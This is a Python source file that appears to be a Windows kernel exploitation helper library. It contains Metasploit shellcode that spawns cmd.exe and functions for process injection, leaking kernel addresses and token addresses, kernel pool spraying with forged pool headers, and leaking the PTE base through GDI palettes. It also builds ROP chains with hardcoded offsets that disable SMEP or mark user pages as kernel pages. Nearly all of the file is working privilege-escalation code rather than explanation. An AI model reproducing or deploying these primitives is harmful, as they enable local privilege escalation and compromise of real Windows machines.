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kex.py
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kex.py
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import sys
import os
import struct
import platform
import signal
from subprocess import check_output
from ctypes import *
from ctypes.wintypes import *
#########################################################################################
#######################################Shellcodes########################################
#########################################################################################
# /*
# * windows/x64/exec - 275 bytes
# * http://www.metasploit.com
# * VERBOSE=false, PrependMigrate=false, EXITFUNC=thread,
# * CMD=cmd.exe
# */
SHELLCODE_EXEC_CMD_X64 = (
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
"\x2e\x65\x78\x65\x00")
#########################################################################################
######################################Common structs#####################################
#########################################################################################
ULONG_PTR = PVOID = LPVOID = PVOID64 = c_void_p
PROCESSINFOCLASS = DWORD
ULONG = c_uint32
PULONG = POINTER(ULONG)
NTSTATUS = DWORD
HPALETTE = HANDLE
QWORD = c_ulonglong
CHAR = c_char
KAFFINITY = ULONG_PTR
SDWORD = c_int32
#to be filled properly
class PEB(Structure):
_fields_ = [
("Stuff", c_byte * 0xF8),
("GdiSharedHandleTable", PVOID)
]
#source: https://msdn.microsoft.com/en-us/library/windows/desktop/ms684280(v=vs.85).aspx
class PROCESS_BASIC_INFORMATION(Structure):
_fields_ = [
("Reserved1", PVOID),
("PebBaseAddress", POINTER(PEB)),
("Reserved2", PVOID * 2),
("UniqueProcessId", ULONG_PTR),
("Reserved3", PVOID)
]
#source: https://www.ekoparty.org/archivo/2015/eko11-Abusing_GDI.pdf
class GDICELL64(Structure):
_fields_ = [
("pKernelAddress", PVOID64),
("wProcessId", USHORT),
("wCount", USHORT),
("wUpper", USHORT),
("wType", USHORT),
("pUserAddress", PVOID64)
]
#source: https://msdn.microsoft.com/en-us/library/windows/desktop/ms646340(v=vs.85).aspx
class ACCEL(Structure):
_fields_ = [
("fVirt", BYTE),
("key", WORD),
("cmd", WORD)
]
class ACCEL_ARRAY(Structure):
_fields_ = [
("ACCEL_ARRAY", POINTER(ACCEL) * 675)
]
WNDPROCTYPE = WINFUNCTYPE(c_int, HWND, c_uint, WPARAM, LPARAM)
#WNDPROC = WINFUNCTYPE(LPVOID, HWND, UINT, WPARAM, LPARAM)
#Windows 10x64 v1703
class WNDCLASSEX(Structure):
_fields_ = [
("cbSize", c_uint),
("style", c_uint),
("lpfnWndProc", WNDPROCTYPE),
("cbClsExtra", c_int),
("cbWndExtra", c_int),
("hInstance", HANDLE),
("hIcon", HANDLE),
("hCursor", HANDLE),
("hBrush", HANDLE),
("lpszMenuName", LPCWSTR),
("lpszClassName", LPCWSTR),
("hIconSm", HANDLE)
]
class PALETTEENTRY(Structure):
_fields_ = [
("peRed", BYTE),
("peGreen", BYTE),
("peBlue", BYTE),
("peFlags", BYTE)
]
class LOGPALETTE(Structure):
_fields_ = [
("palVersion", WORD),
("palNumEntries", WORD),
("palPalEntry", POINTER(PALETTEENTRY))
]
class LSA_UNICODE_STRING(Structure):
"""Represent the LSA_UNICODE_STRING on ntdll."""
_fields_ = [
("Length", USHORT),
("MaximumLength", USHORT),
("Buffer", LPWSTR)
]
class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):
_fields_ = [
("Name", LSA_UNICODE_STRING),
("Reserved", ULONG * 22)
]
class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
"""Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""
_fields_ = [
("Object", PVOID),
("UniqueProcessId", PVOID),
("HandleValue", PVOID),
("GrantedAccess", ULONG),
("CreatorBackTraceIndex", USHORT),
("ObjectTypeIndex", USHORT),
("HandleAttributes", ULONG),
("Reserved", ULONG),
]
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
"""Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""
_fields_ = [
("NumberOfHandles", PVOID),
("Reserved", PVOID),
("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
]
class PROCESSENTRY32(Structure):
"""Describes an entry from a list of the processes residing in the system
address space when a snapshot was taken."""
_fields_ = [ ( 'dwSize' , DWORD ) ,
( 'cntUsage' , DWORD) ,
( 'th32ProcessID' , DWORD) ,
( 'th32DefaultHeapID' , POINTER(ULONG)) ,
( 'th32ModuleID' , DWORD) ,
( 'cntThreads' , DWORD) ,
( 'th32ParentProcessID' , DWORD) ,
( 'pcPriClassBase' , LONG) ,
( 'dwFlags' , DWORD) ,
( 'szExeFile' , CHAR * MAX_PATH )
]
class CLIENT_ID(Structure):
_fields_ = [
("UniqueProcess", PVOID),
("UniqueThread", PVOID),
]
class THREAD_BASIC_INFORMATION(Structure):
_fields_ = [
("ExitStatus", NTSTATUS),
("TebBaseAddress", PVOID), # PTEB
("ClientId", CLIENT_ID),
("AffinityMask", KAFFINITY),
("Priority", SDWORD),
("BasePriority", SDWORD),
]
#########################################################################################
###################################Function definitions##################################
#########################################################################################
Psapi = windll.Psapi
kernel32 = windll.kernel32
ntdll = windll.ntdll
gdi32 = windll.gdi32
shell32 = windll.shell32
user32 = windll.user32
advapi32 = windll.advapi32
gdi32.CreatePalette.argtypes = [LPVOID]
gdi32.CreatePalette.restype = HPALETTE
gdi32.GetPaletteEntries.argtypes = [HPALETTE, UINT, UINT, LPVOID]
gdi32.GetPaletteEntries.restype = UINT
gdi32.SetPaletteEntries.argtypes = [HPALETTE, UINT, UINT, LPVOID]
gdi32.SetPaletteEntries.restype = UINT
gdi32.SetBitmapBits.argtypes = [HBITMAP, DWORD, LPVOID]
gdi32.SetBitmapBits.restype = LONG
gdi32.GetBitmapBits.argtypes = [HBITMAP, LONG, LPVOID]
gdi32.GetBitmapBits.restype = LONG
gdi32.CreateBitmap.argtypes = [c_int, c_int, UINT, UINT, c_void_p]
gdi32.CreateBitmap.restype = HBITMAP
ntdll.NtQueryInformationProcess.argtypes = [HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG]
ntdll.NtQueryInformationProcess.restype = NTSTATUS
ntdll.NtQueryObject.argtypes = [HANDLE, DWORD, POINTER(PUBLIC_OBJECT_TYPE_INFORMATION), ULONG, POINTER(ULONG)]
ntdll.NtQueryObject.restype = NTSTATUS
ntdll.NtQuerySystemInformation.argtypes = [DWORD, POINTER(SYSTEM_HANDLE_INFORMATION_EX), ULONG, POINTER(ULONG)]
ntdll.NtQuerySystemInformation.restype = NTSTATUS
kernel32.GetProcAddress.restype = c_ulonglong
kernel32.GetProcAddress.argtypes = [HMODULE, LPCSTR]
kernel32.OpenProcess.argtypes = [DWORD, BOOL, DWORD]
kernel32.OpenProcess.restype = HANDLE
kernel32.GetCurrentProcess.restype = HANDLE
kernel32.WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCSTR, DWORD, POINTER(LPVOID)]
kernel32.WriteProcessMemory.restype = BOOL
kernel32.VirtualAllocEx.argtypes = [HANDLE, LPVOID, DWORD, DWORD, DWORD]
kernel32.VirtualAllocEx.restype = LPVOID
kernel32.CreateRemoteThread.argtypes = [HANDLE, QWORD, UINT, QWORD, LPVOID, DWORD, POINTER(HANDLE)]
kernel32.CreateRemoteThread.restype = BOOL
kernel32.GetCurrentThread.argtypes = []
kernel32.GetCurrentThread.restype = HANDLE
advapi32.OpenProcessToken.argtypes = [HANDLE, DWORD , POINTER(HANDLE)]
advapi32.OpenProcessToken.restype = BOOL
kernel32.CreateToolhelp32Snapshot.argtypes = [DWORD, DWORD]
kernel32.CreateToolhelp32Snapshot.restype = HANDLE
kernel32.DeviceIoControl.argtypes = [HANDLE, DWORD, c_void_p, DWORD, c_void_p, DWORD, c_void_p, c_void_p]
kernel32.DeviceIoControl.restype = BOOL
ntdll.NtQueryInformationThread.argtypes = [HANDLE, DWORD, POINTER(THREAD_BASIC_INFORMATION), ULONG, POINTER(ULONG)]
ntdll.NtQueryInformationThread.restype = NTSTATUS
#########################################################################################
######################################Common constants###################################
#########################################################################################
# THREAD_INFORMATION_CLASS
ThreadBasicInformation = 0
# PROCESS_INFORMATION_CLASS
ProcessBasicInformation = 0 #Retrieves a pointer to a PEB structure that can be used to determine whether the specified process is being debugged, and a unique value used by the system to identify the specified process. It is best to use the CheckRemoteDebuggerPresent and GetProcessId functions to obtain this information.
ProcessDebugPort = 7 #Retrieves a DWORD_PTR value that is the port number of the debugger for the process. A nonzero value indicates that the process is being run under the control of a ring 3 debugger. It is best to use the CheckRemoteDebuggerPresent or IsDebuggerPresent function.
ProcessWow64Information = 26 #Determines whether the process is running in the WOW64 environment (WOW64 is the x86 emulator that allows Win32-based applications to run on 64-bit Windows). It is best to use the IsWow64Process function to obtain this information.
ProcessImageFileName = 27 # Retrieves a UNICODE_STRING value containing the name of the image file for the process. It is best to use the QueryFullProcessImageName or GetProcessImageFileName function to obtain this information.
ProcessBreakOnTermination = 29 #Retrieves a ULONG value indicating whether the process is considered critical. Note This value can be used starting in Windows XP with SP3. Starting in Windows 8.1, IsProcessCritical should be used instead.
ProcessSubsystemInformation = 75#Retrieves a SUBSYSTEM_INFORMATION_TYPE value indicating the subsystem type of the process. The buffer pointed to by the ProcessInformation parameter should be large enough to hold a single SUBSYSTEM_INFORMATION_TYPE enumeration.
ObjectBasicInformation = 0
ObjectTypeInformation = 2
SystemExtendedHandleInformation = 64
VER_NT_WORKSTATION = 1 # The system is a workstation.
VER_NT_DOMAIN_CONTROLLER = 2 # The system is a domain controller.
VER_NT_SERVER = 3 # The system is a server, but not a domain controller.
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
STATUS_SUCCESS = 0
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_BUFFER_OVERFLOW = 0x80000005L
STATUS_INVALID_HANDLE = 0xC0000008L
STATUS_BUFFER_TOO_SMALL = 0xC0000023L
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
TOKEN_ALL_ACCESS = 0xf00ff
FILE_DEVICE_UNKNOWN = 0x00000022
METHOD_BUFFERED = 0x0
METHOD_IN_DIRECT = 0x1
METHOD_OUT_DIRECT = 0x2
METHOD_NEITHER = 0x3
FILE_READ_DATA = 0x1
FILE_WRITE_DATA = 0x2
FILE_ANY_ACCESS = 0x0
FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000
NULL = 0x0
INVALID_HANDLE_VALUE = -1
TH32CS_SNAPPROCESS = 0x02
class x_file_handles(Exception):
pass
#########################################################################################
###################This section contains sysinfo related functions#######################
#########################################################################################
def get_kuser_shared_data():
"""
This function returns the static address of KUSER_SHARED_DATA
@return: address of KUSER_SHARED_DATA
"""
if platform.architecture()[0] == '64bit':
return 0xFFFFF78000000000
elif platform.architecture()[0] == '32bit':
return 0x7FFE0000
#source: https://github.com/tjguk/winsys/blob/master/random/file_handles.py
def signed_to_unsigned(signed):
"""
Convert signed to unsigned
@param signed: the value to be converted
"""
unsigned = struct.unpack("L", struct.pack("l", signed))
return unsigned
#source: https://github.com/tjguk/winsys/blob/master/random/file_handles.py + https://www.exploit-db.com/exploits/34272/
def get_type_info(handle):
"""
Get the handle type information.
@param handle: handle of the object
"""
public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()
size = DWORD(sizeof(public_object_type_information))
while True:
result = ntdll.NtQueryObject(handle, ObjectTypeInformation, byref(public_object_type_information), size, None)
if result == STATUS_SUCCESS:
return public_object_type_information.Name.Buffer
elif result == STATUS_INFO_LENGTH_MISMATCH:
size = DWORD(size.value * 4)
resize(public_object_type_information, size.value)
elif result == STATUS_INVALID_HANDLE:
print "[-] INVALID HANDLE: %s, exiting..." % hex(handle)
sys.exit(-1)
else:
raise x_file_handles("NtQueryObject", hex(result))
#source: https://github.com/tjguk/winsys/blob/master/random/file_handles.py + https://www.exploit-db.com/exploits/34272/
def get_handles():
""" Return all the open handles in the system """
system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()
size = DWORD (sizeof(system_handle_information))
while True:
result = ntdll.NtQuerySystemInformation(
SystemExtendedHandleInformation,
byref(system_handle_information),
size,
byref(size)
)
if result == STATUS_SUCCESS:
break
elif result == STATUS_INFO_LENGTH_MISMATCH:
size = DWORD(size.value * 4)
resize(system_handle_information, size.value)
else:
raise x_file_handles("NtQuerySystemInformation", hex(result))
pHandles = cast(
system_handle_information.Handles,
POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \
system_handle_information.NumberOfHandles)
)
for handle in pHandles.contents:
yield handle.UniqueProcessId, handle.HandleValue, handle.Object
def token_address_of_process(h_process, process_id):
"""
Function to get the address of the token belonging to a process
@param h_process: handle to the process
@param process_id: PID of the same process
@return: address of the token
"""
token_handle = HANDLE()
if not advapi32.OpenProcessToken(h_process,TOKEN_ALL_ACCESS, byref(token_handle)):
print "[-] Could not open process token of process %s, exiting..." % pid
sys.exit()
print "[*] Leaking token addresses from kernel space..."
for pid, handle, obj in get_handles():
if pid == process_id and get_type_info(handle) == "Token":
if token_handle.value == handle:
print "[+] PID: %s token address: %x" % (str(process_id), obj)
return obj
def get_teb_base():
"""
Function to get the TEB base address
@return: teb base address
"""
print "[*] Getting TEB base address"
h_thread = kernel32.GetCurrentThread()
tbi = THREAD_BASIC_INFORMATION()
len = c_ulonglong()
result = ntdll.NtQueryInformationThread(h_thread, ThreadBasicInformation, byref(tbi), sizeof(tbi), None)
if result == STATUS_SUCCESS:
teb_base = tbi.TebBaseAddress
print "[+] TEB base address: %s" % hex(teb_base)
return teb_base
else:
print "[-] Something wen wrong, exiting..."
sys.exit(-1)
def kernel_address_of_handle(h, process_id):
"""
Function to get the address of the handle
@param h: handle to the object
@param process_id: PID of the process
@return: address of the handle
"""
print "[*] Leaking handle addresses from kernel space..."
for pid, handle, obj in get_handles():
#print hex(handle)
if pid == process_id and handle == h:
print "[+] PID: %s handle %s address: %x" % (str(process_id), handle, obj)
return obj
def getpid(procname):
"""
Get Process Pid by procname
@param procname: the name of the process to find
@return: PID
"""
pid = None
try:
hProcessSnap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
pe32 = PROCESSENTRY32()
pe32.dwSize = sizeof(PROCESSENTRY32)
ret = kernel32.Process32First(hProcessSnap , byref(pe32))
while ret:
if pe32.szExeFile == LPSTR(procname).value:
pid = pe32.th32ProcessID
ret = kernel32.Process32Next(hProcessSnap, byref(pe32))
kernel32.CloseHandle ( hProcessSnap )
except Exception, e:
print "[-] Error: %s" % str(e)
if not pid:
print "[-] Could not find %s PID" % procname
sys.exit()
return pid
#########################################################################################
###############This section contains kernel pool spraying related functions##############
#########################################################################################
kernel_object_sizes = {}
#sizes of various kernel objects
kernel_object_sizes['unnamed_mutex'] = 0x50
kernel_object_sizes['unnamed_job'] = 0x168
kernel_object_sizes['iocompletionreserve'] = 0x60
kernel_object_sizes['unnamed_semaphore'] = 0x48
kernel_object_sizes['event'] = 0x40
pool_object_handles = []
#the first 0x28 bytes in the pool allocation, which will allow an overwrite
#the previous size and and the TypeIndex is set zero
pool_object_headers = {}
pool_object_headers['unnamed_mutex'] = [0x040a0000,0xe174754d,0x00000000,0x00000050,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x00080000]
pool_object_headers['unnamed_job'] = [0x042d0000,0xa0626f4a,0x00000000,0x00000168,0x0000006c,0x86e0bd80,0x00000001,0x00000001,0x00000000,0x00080000]
pool_object_headers['iocompletionreserve'] = [0x040c0000,0xef436f49,0x00000000,0x0000005c,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x00080000]
pool_object_headers['unnamed_semaphore'] = [0x04090000,0xe16d6553,0x00000000,0x00000044,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x00080000]
pool_object_headers['event'] = [0x04080000,0xee657645,0x00000000,0x00000040,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x00080000]
"""
#The original typeindex (in case I need it later)
original_typeindex = {}
original_typeindex['unnamed_mutex'] = 0xe
original_typeindex['unnamed_job'] = 0x6
original_typeindex['iocompletionreserve'] = 0xa
original_typeindex['unnamed_semaphore'] = 0x10
original_typeindex['event'] = 0xc
"""
SPRAY_COUNT = 50000
def allocate_object(object_to_use, variance):
"""
Allocate an object based on the input
@param object_to_use: name of the object to allocate
@param variance: extra string to use (typically a number) for named objects
@return: the handle to the object
"""
hHandle = HANDLE(0)
if object_to_use == 'unnamed_mutex':
hHandle = kernel32.CreateMutexA(None, False, None)
elif object_to_use == 'named_mutex':
hHandle = kernel32.CreateMutexA(None, False, "Pool spraying is cool %s" % variance)
elif object_to_use == 'unnamed_job':
hHandle = kernel32.CreateJobObjectA(None, None)
elif object_to_use == 'named_job':
hHandle = kernel32.CreateJobObjectA(None, "Job %s" % variance)
elif object_to_use == 'iocompletionport':
hHandle = kernel32.CreateIoCompletionPort(-1, None, 0, 0)
elif object_to_use == 'iocompletionreserve':
IO_COMPLETION_OBJECT = 1
ntdll.NtAllocateReserveObject(byref(hHandle), 0x0, IO_COMPLETION_OBJECT)
hHandle = hHandle.value
elif object_to_use == 'unnamed_semaphore':
hHandle = kernel32.CreateSemaphoreA(None, 0, 3, None)
elif object_to_use == 'named_semaphore':
hHandle = kernel32.CreateSemaphoreA(None, 0, 3, "My little Semaphore %s" % variance)
elif object_to_use == 'event':
hHandle = kernel32.CreateEventA(None, False, False, None)
if hHandle == None:
print "[-] Error while creating object: %s" % object_to_use
sys.exit(-1)
return hHandle
def find_object_to_spray(required_hole_size):
"""
Calculates which object to use for kernel pool spraying
@param required_hole_size: the required hole size in kernel pool, which will be overflown
@return: the object to use for creating the hole size
"""
for key in kernel_object_sizes:
if required_hole_size % kernel_object_sizes[key] == 0:
print "[+] Found a good object to spray with: %s" % key
return key
print "[-] Couldn't find proper object to spray with"
sys.exit()
def spray(required_hole_size):
"""
Spray the heap with objects which will allow us to create the required holes later
@param required_hole_size: : the required hole size in kernel pool, which will be overflown
@return: object type (name) to use for overflow
"""
global pool_object_handles
good_object = find_object_to_spray(required_hole_size)
for i in range(SPRAY_COUNT):
pool_object_handles.append(allocate_object(good_object, i))
print "[+] Spray done!"
return good_object
def make_hole(required_hole_size, good_object):
"""
Making holes in the sprayd kernel
@param required_hole_size: the required hole size in kernel pool, which will be overflown
@param good_object: object type (name) to use for overflow
"""
global pool_object_handles
nr_to_free = required_hole_size / kernel_object_sizes[good_object]
for i in range(0, SPRAY_COUNT,16):
for j in range(0,nr_to_free):
kernel32.CloseHandle(pool_object_handles[i + j])
pool_object_handles[i + j] = None
print "[+] Making holes done!"
def gimme_the_hole(required_hole_size):
"""
Spray and make holes
@param required_hole_size: the required hole size in kernel pool, which will be overflown
"""
good_object = spray(required_hole_size)
make_hole(required_hole_size, good_object)
return good_object
def close_all_handles():
"""
Close all handles, which were used for kernel pool spraying
"""
print "[+] Triggering shellcode!"
global pool_object_handles
for i in range(0, SPRAY_COUNT):
if (pool_object_handles[i] != None):
kernel32.CloseHandle(pool_object_handles[i])
pool_object_handles[i] = None
print "[+] Free pool allocations done!"
def calculate_previous_size(required_hole_size):
"""
Calculate the previous size value for the pool header
The PreviousSize value * 8 = previous chunk
@param required_hole_size: the required hole size in kernel pool, which will be overflown
@return: the previous_size value to be used on the POOL_HEADER
"""
if platform.architecture()[0] == '64bit':
return required_hole_size/16
elif platform.architecture()[0] == '32bit':
return required_hole_size/8
else:
print "[-] Couldn't determine the Windows architecture, exiting..."
sys.exit(-1)
def pool_overwrite(required_hole_size,good_object):
"""
This function will give us the data (POOL_HEADER + part of OBJECT_HEADER) to be used for the pool overwrite
@param required_hole_size: the required hole size in kernel pool, which will be overflown
@param good_object: object type (name) to use for overflow
"""
header = ''
for i in range(len(pool_object_headers[good_object])):
if i == 0:
#for the first entry we need to calculate the previous pool size value, as it's required
header += struct.pack("L",pool_object_headers[good_object][0] + calculate_previous_size(required_hole_size))
else:
header += struct.pack("L",pool_object_headers[good_object][i])
return header
#########################################################################################
######################This section contains PTE related functions########################
#########################################################################################
def get_pxe_address_x64(virtual_address, pte_base):
"""
The functions gives the PTE address for a virtual address
Based on: https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
@param virtual_address: the virtual address to convert
@param pte_base: the base address for PTE
"""
pte_address = virtual_address >> 9
pte_address = pte_address | pte_base
pte_address = pte_address & (pte_base + 0x0000007ffffffff8)
return pte_address
def get_pxe_address_x32(virtual_address, pte_base):
"""
The functions gives the PTE address for a virtual address
@param virtual_address: the virtual address to convert
@param pte_base: the base address for PTE
"""
pte_address = virtual_address >> 9
pte_address = pte_address | pte_base
pte_address = pte_address & (pte_base + 0x007FFFF8)
return pte_address
def get_pte_base_old_x64():
""" Returns the PTE base address for older version of Windows (prior 1607 / Redstone 1 / Anniversary Update) """
return 0xFFFFF68000000000
def get_pte_base_old_x32():
""" Returns the PTE base address for older version of Windows (prior 1607 / Redstone 1 / Anniversary Update) """
return 0xC0000000
def leak_pte_base_palette(manager_palette, worker_palette):
"""
Based on:
https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Pointer-Leak.ps1
and
https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf
Function to leak the PTE base from the nt!MiGetPteAddress function
@param manager_platte: handle to the manager palette
@param worker_platte: handle to the worker palette
@return: PTE base
"""
print "[*] Locating PTE base..."
#get the MmFreeNonCachedMemory address
if platform.architecture()[0] == '64bit':
kernel32.LoadLibraryExA.restype = c_uint64
kernel32.GetProcAddress.argtypes = [c_uint64, POINTER(c_char)]
kernel32.GetProcAddress.restype = c_uint64
#(krnlbase, kernelver) = find_driver_base()
krnlbase = leak_nt_base_palette(manager_palette, worker_palette)
kernelver = ['ntoskrnl.exe','ntkrnlmp.exe','ntkrnlpa.exe','ntkrpamp.exe']
for k in kernelver:
print "[+] Loading %s in userland" % k
hKernel = kernel32.LoadLibraryExA(k, 0, 1)
if hKernel != 0:
print "[+] %s base address : %s" % (k, hex(hKernel))
break
if hKernel == 0:
print "[-] Couldn't load kernel, exiting..."
sys.exit(-1)
MmFreeNonCachedMemory = kernel32.GetProcAddress(hKernel, 'MmFreeNonCachedMemory')
MmFreeNonCachedMemory -= hKernel
MmFreeNonCachedMemory += krnlbase
print "[+] MmFreeNonCachedMemory address: %s" % hex(MmFreeNonCachedMemory)
#use palettes to find the MiGetPteAddress by searching the CALL function in MmFreeNonCachedMemory
#e.g.: fffff802`3c6ba4d7 e8fc059bff call nt!MiGetPteAddress (fffff802`3c06aad8)
MmFreeNonCachedMemory_data = create_string_buffer(0x100)
read_memory_palette(manager_palette, worker_palette, MmFreeNonCachedMemory, byref(MmFreeNonCachedMemory_data), sizeof(MmFreeNonCachedMemory_data))
#loop through the function data and search for the first call (e8)
for i in range(sizeof(MmFreeNonCachedMemory_data)):
if MmFreeNonCachedMemory_data.raw[i] == '\xe8':
offset = 0x100000000 - struct.unpack("L",MmFreeNonCachedMemory_data.raw[i+1:i+5])[0]
MiGetPteAddress_address = MmFreeNonCachedMemory - offset + 5 + i
print "[+] MiGetPteAddress address: %s" % hex(MiGetPteAddress_address)
break
"""
nt!MiGetPteAddress:
fffff802`3c06aad8 48c1e909 shr rcx,9
fffff802`3c06aadc 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff802`3c06aae6 4823c8 and rcx,rax
fffff802`3c06aae9 48b80000000000baffff mov rax,0FFFFBA0000000000h
"""
pte_base = c_ulonglong()
read_memory_palette(manager_palette, worker_palette, MiGetPteAddress_address + 0x13, byref(pte_base), sizeof(pte_base))
print "[+] PTE base: %s" % hex(pte_base.value)
return pte_base.value
def make_memory_executable_palette(manager_palette, worker_palette, virtual_address):
"""
Function to change an address to executable with palettes
based on: https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf
@param manager_platte: handle to the manager palette
@param worker_platte: handle to the worker palette
"""
pte_base = leak_pte_base_palette(manager_palette, worker_palette)
pte_address = get_pxe_address_x64(virtual_address, pte_base)
current_pte_value = c_ulonglong()
read_memory_palette(manager_palette, worker_palette, pte_address, byref(current_pte_value), sizeof(current_pte_value))
tobe_pte_value = c_ulonglong(current_pte_value.value & 0x0fffffffffffffff)
write_memory_palette(manager_palette, worker_palette, pte_address, byref(tobe_pte_value), sizeof(tobe_pte_value));
#########################################################################################
#################This section contains SMEP bypass related functions#####################
#########################################################################################
def get_smep_rop1_offsets():
"""
This function returns offsets to support the ROP chain which change the value in CR4
@return: offsets
"""
p = platform.platform()
if p == 'Windows-10-10.0.16299':
pop_rcx_ret = 0x160580
mov_cr4_rcx_ret = 0x41f901
elif p == 'Windows-8.1-6.3.9600':
pop_rcx_ret = 0x20b29
mov_cr4_rcx_ret = 0x8655a
else:
print "[-] Offsets are not currently available for this platform, exiting..."
sys.exit(-1)
return (pop_rcx_ret, mov_cr4_rcx_ret)
def get_smep_rop2_offsets():
"""
This function returns offsets to support the ROP chain which sets a user mode page to be in kernel (supervisory)
@return: offsets
"""
p = platform.platform()
if p == 'Windows-10-10.0.16299':
pop_rcx_ret = 0x23ed #s hal L7f000 59 c3
pop_rax_ret = 0xbb9e #s hal L7f000 58 c3
mov_byte_ptr_rax_cl_ret = 0x9820 #s hal L7f000 88 08
wbinvd_ret = 0x415f0 #s hal L7f000 0f 09 c3
else:
print "[-] Offsets are not currently available for this platform, exiting..."
sys.exit(-1)
return (pop_rcx_ret, pop_rax_ret, mov_byte_ptr_rax_cl_ret, wbinvd_ret)
def disable_smep_cr4_rop(kernel_base, return_address):
"""
This function creates a ROP chain to disable SMEP in the CR4 register
@param kernel_base: base address of the kernel
@param return_address: address to return to after the ROP chain completes
@return: ROP chain
"""
(pop_rcx_ret, mov_cr4_rcx_ret) = get_smep_rop1_offsets()
rop = struct.pack("<Q", kernel_base+pop_rcx_ret) # pop rcx ; ret
rop += struct.pack("<Q", 0x506f8) # (popped into rcx)
rop += struct.pack("<Q", kernel_base+mov_cr4_rcx_ret) # mov cr4, rcx ; ret
if return_address != None:
rop += struct.pack("<Q", return_address) # (return into shellcode)
return rop
def enable_smep_cr4_rop(kernel_base, return_address):
"""
This function creates a ROP chain to enable SMEP in the CR4 register
@param kernel_base: base address of the kernel
@param return_address: address to return to after the ROP chain completes
@return: ROP chain
"""
(pop_rcx_ret, mov_cr4_rcx_ret) = get_smep_rop1_offsets()
rop = struct.pack("<Q", kernel_base+pop_rcx_ret) # pop rcx ; ret
rop += struct.pack("<Q", 0x1506f8) # (popped into rcx)
rop += struct.pack("<Q", kernel_base+mov_cr4_rcx_ret) # mov cr4, rcx ; ret
if return_address != None:
rop += struct.pack("<Q", return_address) # (return into shellcode)
return rop
def set_user_pte_kernel_rop(hal_base, va_pte, return_address):
"""
This function creates a ROP chain to set a user address to be kernel address as described here:
https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
@param hal_base: base address of the hal
@param va_pte: the PTE address of the VA, that has to be changed from user space to kernel space
@param return_address: address to return to after the ROP chain completes
@return: ROP chain
"""
(pop_rcx_ret, pop_rax_ret, mov_byte_ptr_rax_cl_ret, wbinvd_ret) = get_smep_rop2_offsets()
rop = struct.pack("<Q", hal_base + pop_rcx_ret) # pop rcx; ret
rop += struct.pack("<Q", 0x63) # DIRTY + ACCESSED + R/W + PRESENT
rop += struct.pack("<Q", hal_base + pop_rax_ret) # pop rax; ret
rop += struct.pack("<Q", va_pte) # PTE address
rop += struct.pack("<Q", hal_base + mov_byte_ptr_rax_cl_ret) # mov byte ptr [rax], cl; ret
rop += struct.pack("<Q", hal_base + wbinvd_ret) # wbinvd; ret
rop += struct.pack("<Q", return_address) # The return address (in user space)
return rop
